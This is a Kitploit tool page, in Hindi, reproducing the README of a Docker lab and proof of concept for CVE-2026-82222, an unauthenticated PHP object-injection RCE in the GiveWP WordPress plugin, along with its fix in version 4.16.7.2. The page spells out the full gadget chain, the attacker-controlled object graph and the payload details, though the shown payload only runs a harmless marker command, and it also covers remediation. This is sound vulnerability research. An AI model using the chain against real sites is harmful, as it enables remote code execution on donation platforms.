Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
givewp-cve-2026-82222-rce-lab — अधिकृत Docker लैब और GiveWP 4.16.5.1 में CVE-2026-82222 RCE तथा 4.16.7.2 फिक्स को मान्य करने के लिए स्वच्छ PoC। | Kitploit
उपकरण/GitHubGitHub/dinosn/givewp-cve-2026-82222-rce-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubdinosn/givewp-cve-2026-82222-rce-lab

givewp-cve-2026-82222-rce-lab

अधिकृत Docker लैब और GiveWP 4.16.5.1 में CVE-2026-82222 RCE तथा 4.16.7.2 फिक्स को मान्य करने के लिए स्वच्छ PoC।

रिपॉजिटरी देखें
19घं 4मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-82222 — GiveWP मार्कर-ओनली RCE सत्यापन लैब

CVE-2026-82222 को एक पृथक Docker लैब में पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री।

प्रत्यक्ष RCE PoC और URL स्कैन के लिए CVE-2026-8222-RCE.py का उपयोग करें

निर्णय

स्थिति: प्रदान किए गए लैब में सिद्ध

GiveWP 4.16.5.1 एक प्रारंभिक रूप से अप्रमाणित हमलावर को PHP ऑब्जेक्ट ग्राफ बनाए रखने, GiveWP सत्र हैंडलिंग के माध्यम से इसे पुनर्जीवित करने, और WordPress वेब-सर्वर उपयोगकर्ता के रूप में एक निश्चित मार्कर कमांड निष्पादित करने की अनुमति देता है।

परीक्षण किया गया सकारात्मक परिणाम:

root@kitploit:~
GiveWP:    4.16.5.1
WordPress: 6.6.2
PHP:       8.1.30
Result:    /tmp/CVE-2026-82222-RCE-GETBAG created by www-data

अंत-से-अंत परिणाम शुद्ध, गैर-इंस्ट्रूमेंटेड GiveWP 4.16.5.1 स्रोत के विरुद्ध भी पुनरुत्पादित किया गया था। GiveWP 4.16.7.2 ने परीक्षण किए गए कॉन्फ़िगरेशन में HTTP कैरियर को अवरुद्ध किया और प्रत्यक्ष नियंत्रण के दौरान टर्मिनल गैजेट को स्वतंत्र रूप से अवरुद्ध किया।

यह WordPress कंटेनर के अंदर कमांड निष्पादन प्रदर्शित करता है। यह रूट एक्सेस, कंटेनर एस्केप, पार्श्व गति, या होस्ट समझौता प्रदर्शित नहीं करता है।

सुरक्षा सीमा

इस रिपॉजिटरी का उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं।

प्रदान किया गया PoC जानबूझकर सीमित है:

  • यह केवल निष्पादित करता है।
touch /tmp/CVE-2026-82222-RCE-GETBAG
  • यह कोई मनमाना-कमांड विकल्प प्रदान नहीं करता है।
  • यह कोई शेल, कॉलबैक, स्थिरता, या विशेषाधिकार वृद्धि नहीं बनाता है।
  • यह गैर-लूपबैक लक्ष्यों को तब तक अस्वीकार करता है जब तक ऑपरेटर स्पष्ट --allow-authorized-non-loopback फ्लैग प्रदान नहीं करता।
  • Docker WordPress को केवल 127.0.0.1 पर प्रकाशित करता है।
  • Compose प्रोजेक्ट नाम चेकआउट पथ से प्राप्त होता है ताकि एक क्लोन दूसरे क्लोन के कंटेनर या वॉल्यूम को नष्ट न कर सके।
  • लैब शुद्ध आधिकारिक प्लगइन स्रोत का उपयोग करता है; यह कमजोर लक्ष्य को इंस्ट्रूमेंट या पैच नहीं करता है।
  • HTTP परीक्षण एक डिस्पोजेबल डोनर उपयोगकर्ता, मेटाडेटा, और GiveWP सत्र पंक्तियाँ बनाता है। परीक्षण के बाद शामिल रीसेट कमांड का उपयोग करें।

    त्वरित प्रारंभ

    आवश्यकताएँ:

    • Compose v2 के साथ Docker
    • Python 3.10 या बाद का संस्करण
    • curl
    • unzip
    • sha256sum या shasum
    • आधिकारिक प्लगइन संग्रह के लिए downloads.wordpress.org तक नेटवर्क पहुंच

    पूर्ण कमजोर/पैच किया गया मैट्रिक्स चलाएँ:

    root@kitploit:~
    ./lab verify
    

    कमांड:

    1. WordPress.org से GiveWP 4.16.5.1 और 4.16.7.2 डाउनलोड करता है।
    2. दोनों SHA-256 हैश सत्यापित करता है।
    3. सामान्य WordPress पंजीकरण स्पष्ट रूप से अक्षम के साथ एक नया लूपबैक-ओनली WordPress 6.6.2/PHP 8.1 लैब बनाता है।
    4. शुद्ध 4.16.5.1 का परीक्षण करता है और वेब उपयोगकर्ता द्वारा मार्कर निर्माण की आवश्यकता होती है।
    5. शुद्ध 4.16.7.2 के साथ दूसरा नया लैब बनाता है।
    6. HTTP मार्कर अनुपस्थित रहने की आवश्यकता होती है।
    7. प्रत्यक्ष नियंत्रण में इनग्रेस को बायपास करता है और पुष्टि करता है कि पैच किया गया ProviderForwarder टर्मिनल भी स्ट्रिंग कॉल करने योग्य को अस्वीकार करता है।

    पैच किया गया लैब अंत में चालू रहता है। इसे हटाने के लिए:

    root@kitploit:~
    ./lab reset
    

    दूसरे लूपबैक पोर्ट का उपयोग करने के लिए:

    root@kitploit:~
    LAB_PORT=8099 ./lab verify
    

    अपेक्षित साक्ष्य

    कमजोर नियंत्रण ठोस टर्मिनल साक्ष्य के साथ समाप्त होना चाहिए:

    root@kitploit:~
    [PASS] E1: unauthenticated registration issued auth cookie
    [PASS] E3: serialized graph persisted in own last_name
    [PASS] E4: donation-form nonce obtained
    [PASS] E5: session write reached expected post-sink HTTP status=500
    [PASS] E6: session read/destruction trigger completed
    marker present and owned by the WordPress web user
    RESULT: VULNERABLE CONTROL CONFIRMED
    

    पैच किया गया नियंत्रण दिखाना चाहिए:

    root@kitploit:~
    [PASS] P1: patched registration gate blocked auth cookie
    DIRECT_MARKER=absent
    HTTP marker absent and direct terminal gadget blocked
    RESULT: PATCHED CONTROL CONFIRMED
    

    मार्कर के बिना HTTP 500, संग्रहीत पेलोड, अपवाद, या डिटेक्टर हिट को RCE प्रमाण के रूप में स्वीकार नहीं किया जाता है।

    मैनुअल लैब जीवनचक्र

    कमजोर रिलीज़ प्रारंभ करें और परीक्षण करें:

    root@kitploit:~
    ./lab start vulnerable
    ./lab test
    

    पैच की गई रिलीज़ प्रारंभ करें और परीक्षण करें:

    root@kitploit:~
    ./lab start patched
    ./lab test
    

    वर्तमान स्थिति का निरीक्षण करें:

    root@kitploit:~
    ./lab status
    

    कंटेनर, वॉल्यूम, परीक्षण उपयोगकर्ता, सत्र, और मार्कर स्थिति हटाएँ:

    root@kitploit:~
    ./lab reset
    

    कैश किए गए प्लगइन ZIP और निकाले गए एसेट तेज़ पुनः चलाने के लिए संरक्षित हैं। उन सटीक उत्पन्न एसेट को भी हटाने के लिए:

    root@kitploit:~
    ./lab reset --purge-assets
    

    प्रभावित और परीक्षण किए गए संस्करण

    संस्करणमूल्यांकन
    GiveWP 4.16.5.1RCE अंत से अंत तक पुनरुत्पादित
    GiveWP 4.16.6–4.16.7.1प्रभावित बताया गया; यहाँ व्यक्तिगत रूप से पुनरुत्पादित नहीं
    GiveWP 4.16.7.2पैच किए गए नकारात्मक नियंत्रण पुनरुत्पादित
    बाद के रिलीज़व्यक्तिगत रूप से परीक्षण नहीं; नवीनतम समर्थित रिलीज़ में अपडेट करें

    सार्वजनिक सलाह 4.16.7.1 तक के रिलीज़ को प्रभावित के रूप में पहचानती है। यह रिपॉजिटरी सीधे केवल अपने सकारात्मक/नकारात्मक परीक्षण मैट्रिक्स में दो संस्करणों को साबित करती है।

    संदर्भ:

    • Patchstack सलाह
    • CVE-2026-82222
    • GiveWP हार्डनिंग कमिट
    • आधिकारिक GiveWP प्लगइन पृष्ठ

    मूल कारण

    शोषण कई व्यवहारों को जोड़ता है:

    1. GiveWP 4.16.5.1 एक पंजीकरण क्रिया उजागर करता है जो सामान्य WordPress पंजीकरण अक्षम होने पर भी एक निम्न-विशेषाधिकार डोनर बनाता और प्रमाणित करता है।
    2. वह उपयोगकर्ता अपने स्वयं के नाम मेटाडेटा में क्रमबद्ध डेटा बनाए रख सकता है।
    3. Give\Helpers\Utils::maybeSafeUnserialize() allowed_classes => false का उपयोग करता है, जो __PHP_Incomplete_Class उत्पन्न करता है, लेकिन बाद का क्रमबद्धीकरण मूल वर्ग नामों और गुणों को संरक्षित करता है।
    4. ग्राफ एक GiveWP खरीद सत्र में संग्रहीत होता है।
    5. बाद में एक अप्रतिबंधित maybe_unserialize() शिप किए गए वर्गों को पुनर्जीवित करता है।
    6. स्वचालित विनाश system() के लिए एक पूर्ण POP श्रृंखला में प्रवेश करता है।

    HTTP कैरियर में चार शाब्दिक नेमस्पेस बैकस्लैश आवश्यक हैं। दो प्रभावी स्ट्रिपिंग पास उन्हें 4 -> 2 -> 1 घटाते हैं। पेलोड NUL-मुक्त है, और PHP 8.1.30 को निजी Session::$attributeName गुण के लिए सादा क्रमबद्ध नाम हाइड्रेट करने के लिए सत्यापित किया गया था।

    पूर्ण POP श्रृंखला

    root@kitploit:~
    TCPDF::__destruct()
      -> TCPDF::_destroy(true)
      -> foreach ($this->imagekeys as $file)
      -> Symfony Session::getIterator()
      -> Session::getAttributeBag()
      -> Session::getBag($this->attributeName)
      -> $this->storage->getBag($attributeName)
      -> DonationFactory->__call('getBag', [$attributeName])
      -> call_user_func_array('system', [$attributeName])
      -> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
    

    हमलावर-नियंत्रित ग्राफ:

    root@kitploit:~
    TCPDF
    ├── file_id = unique request identifier
    └── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
        ├── attributeName = fixed marker command
        └── storage = Give\TestData\Factories\DonationFactory
            └── loadedProviders["getBag"] = "system"
    

    महत्वपूर्ण छिपा संक्रमण PHP का अंतर्निहित IteratorAggregate डिस्पैच है। TCPDF::$imagekeys अटाइप्ड है, इसलिए एक Symfony Session असाइन करने से foreach Session::getIterator() को आमंत्रित करता है।

    मार्कर कमांड Symfony के getAttributeBag(): AttributeBagInterface रिटर्न प्रकार लागू करने से पहले निष्पादित होता है। परिणामी TypeError और HTTP 500 पोस्ट-सिंक प्रभाव हैं।

    पिछले प्रयासों से क्या छूट गया

    अस्वीकृत उम्मीदवार ग्राफ ने उपयोग किया:

    root@kitploit:~
    TCPDF::$objcopy
      -> DonationFactory::$loadedProviders['__destruct'] = 'system'
    

    वह ग्राफ काम नहीं कर सकता। TCPDF::_destroy() केवल objcopy को अनसेट करता है; PHP स्वचालित विनाश को __call('__destruct', ...) के माध्यम से रूट नहीं करता है।

    लापता ऑपरेशन था:

    root@kitploit:~
    foreach ($this->imagekeys as $file) {
    

    पहले की समीक्षा डिस्ट्रक्टरों और स्पष्ट विधि कॉलों का अनुसरण करती थी लेकिन foreach द्वारा ट्रिगर किए गए अंतर्निहित ऑब्जेक्ट प्रोटोकॉल का पुनरावर्ती रूप से निरीक्षण नहीं करती थी। Symfony Session लापता पुल प्रदान करता है:

    • foreach getIterator() को आमंत्रित करता है।
    • getIterator() getBag($attributeName) तक पहुँचता है।
    • हमलावर-नियंत्रित storage एक DonationFactory है।
    • अपरिभाषित getBag ProviderForwarder::__call() को आमंत्रित करता है।
    • loadedProviders['getBag'] = 'system' कॉल करने योग्य का चयन करता है।
    • attributeName कमांड तर्क प्रदान करता है।

    स्रोत साक्ष्य

    प्रासंगिक GiveWP 4.16.5.1 स्थान:

    घटकस्थान
    संरक्षित प्रारंभिक unserializesrc/Helpers/Utils.php:203-217,237-241
    दान कैरियरincludes/process-donation.php:157
    GiveWP सत्र स्थिरताincludes/class-give-session.php:364-368,489-508
    अप्रतिबंधित सत्र पुनरुद्धारincludes/class-give-session.php:347-350
    TCPDF डिस्ट्रक्टरvendor/tecnickcom/tcpdf/tcpdf.php:2050-2052
    हमलावर-नियंत्रित पुनरावृत्तिvendor/tecnickcom/tcpdf/tcpdf.php:7885-7907
    Symfony इटरेटर पुलvendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136
    Symfony getBag पुलvendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283
    टर्मिनल कॉल करने योग्यsrc/TestData/Framework/ProviderForwarder.php:19-23
    GiveWP Composer ऑटोलोडरgive.php:624-625

    आधिकारिक रिलीज़ हैश:

    root@kitploit:~
    give.4.16.5.1.zip
    95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
    
    give.4.16.7.2.zip
    c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
    

    लैब प्रत्येक नई शुरुआत से पहले प्रत्येक प्लगइन को उसके सत्यापित ZIP से पुनः निकालता है, इसे बिना संशोधन के WordPress में कॉपी करता है, और तैनात पूर्ण प्लगइन फ़ाइल ट्री की बाइट-तुलना सत्यापित स्रोत के साथ करता है। तीन आधिकारिक Docker आधार छवियाँ भी उनके मल्टी-आर्किटेक्चर मैनिफेस्ट डाइजेस्ट पर पिन की गई हैं।

    4.16.7.2 श्रृंखला को क्यों अवरुद्ध करता है

    GiveWP 4.16.7.2 पंजीकरण, क्रमबद्ध इनपुट हैंडलिंग, सत्र पुनरुद्धार, डेटा माइग्रेशन, और गैजेट हार्डनिंग में स्वतंत्र सुरक्षा जोड़ता है।

    टर्मिनल हार्डनिंग के लिए आवश्यक है कि हल किया गया ऑब्जेक्ट अपेक्षित प्रदाता अनुबंध लागू करे:

    root@kitploit:~
    if ( ! $provider instanceof Contract\Provider ) {
        return null;
    }
    

    हमलावर-नियंत्रित स्ट्रिंग system इसलिए अस्वीकार कर दी जाती है। इस रिपॉजिटरी में प्रत्यक्ष नियंत्रण HTTP कैरियर को बायपास करता है और सत्यापित करता है कि यह अकेला टर्मिनल सुरक्षा अपना मार्कर अनुपस्थित छोड़ देती है।

    वास्तविक तैनाती की जाँच

    एक नकारात्मक PoC परिणाम अपने आप में यह साबित नहीं करता कि साइट पैच की गई है। एक WAF, अलग रूटिंग, अक्षम पंजीकरण, लापता लीगेसी फॉर्म, सत्र कॉन्फ़िगरेशन, या अक्षम PHP कमांड फ़ंक्शन सभी अभी भी कमजोर कोडबेस पर मार्कर को रोक सकते हैं।

    पसंदीदा सत्यापन प्रक्रिया:

    1. तैनात GiveWP संस्करण और स्रोत संशोधन रिकॉर्ड करें।
    2. WordPress साइट और डेटाबेस का बैकअप या स्नैपशॉट लें।
    3. उस स्नैपशॉट को एक पृथक स्टेजिंग वातावरण में पुनर्स्थापित करें।
    4. अनावश्यक आउटबाउंड नेटवर्क पहुंच अक्षम करें।
    5. क्लोन के विरुद्ध यह मार्कर-ओनली सत्यापनकर्ता चलाएँ।
    6. GiveWP को नवीनतम समर्थित रिलीज़ में अपडेट करें, 4.16.7.2 परीक्षण किए गए फिक्स वाली न्यूनतम रिलीज़ के रूप में।
    7. समान परीक्षण दोहराएँ और मार्कर अनुपस्थिति की आवश्यकता रखें।
    8. स्थापित प्लगइन संस्करण और पैच किए गए स्रोत को स्वतंत्र रूप से सत्यापित करें।

    संस्करण जाँच:

    root@kitploit:~
    wp plugin get give --fields=name,status,version
    

    उपचार और घटना समीक्षा

    GiveWP को नवीनतम समर्थित संस्करण में अपडेट करें। अपडेट करने के बाद:

    • जहाँ लागू हो PHP opcode कैश साफ़ करें।
    • पुष्टि करें कि कोई पुरानी GiveWP प्रति सक्रिय या वेब-सुलभ नहीं है।
    • अप्रत्याशित WordPress या डोनर खातों की समीक्षा करें।
    • क्रमबद्ध TCPDF, Symfony Session, या loadedProviders ग्राफ के लिए उपयोगकर्ता मेटाडेटा और GiveWP सत्र खोजें।
    • उसी सत्र से पंजीकरण, प्रोफ़ाइल परिवर्तन, दान अनुरोध, और बाद के HTTP 500 प्रतिक्रियाओं को सहसंबंधित करें।
    • अप्रत्याशित वेब-सर्वर चाइल्ड प्रक्रियाओं या फ़ाइलसिस्टम परिवर्तनों की जाँच करें।

    यदि इंटरनेट-एक्सपोज़्ड कमजोर स्थापना में ऑब्जेक्ट-इंजेक्शन कलाकृतियाँ हैं, तो इसे केवल प्लगइन अपडेट करने के बजाय संभावित समझौते के रूप में मानें।

    रिपॉजिटरी लेआउट

    root@kitploit:~
    .
    ├── .github/workflows/validate.yml
    ├── .gitignore
    ├── README.md
    ├── SECURITY.md
    ├── docker-compose.yml
    ├── lab
    ├── poc
    │   ├── direct-pop-control.php
    │   └── poc.py
    └── scripts
        └── fetch-assets.sh
    

    प्रतिबद्ध नहीं:

    root@kitploit:~
    official plugin ZIPs
    extracted GiveWP source
    instrumented target source
    cookies or session data
    runtime evidence/logs
    internal target addresses or reusable credentials
    obsolete objcopy payloads
    historical validation output
    

    सत्यापन सीमाएँ

    दावास्थिति
    स्थायी PHP ऑब्जेक्ट-इंजेक्शन कैरियरसिद्ध
    शिप किए गए वर्गों का पुनरुद्धारसिद्ध
    पूर्ण स्टॉक POP श्रृंखलासिद्ध
    वेब उपयोगकर्ता के रूप में निष्पादित निश्चित मार्करसिद्ध
    शुद्ध 4.16.5.1 के विरुद्ध पुनरुत्पादनसिद्ध
    शुद्ध 4.16.7.2 के विरुद्ध नकारात्मक नियंत्रणसिद्ध
    प्रत्येक मध्यवर्ती प्रभावित रिलीज़ परीक्षणपरीक्षण नहीं
    रूट विशेषाधिकारदावा नहीं
    कंटेनर एस्केपपरीक्षण नहीं
    होस्ट समझौतापरीक्षण नहीं

    प्रमाण मानक जानबूझकर सख्त है: केवल अपरिवर्तित स्टॉक श्रृंखला के माध्यम से एक अवलोकनीय कमांड मार्कर को RCE लेबल किया जाता है। HTTP स्वीकृति, क्रमबद्धीकरण, अपवाद, और डिटेक्टर हिट मध्यवर्ती साक्ष्य हैं।

    टूल डाउनलोड करें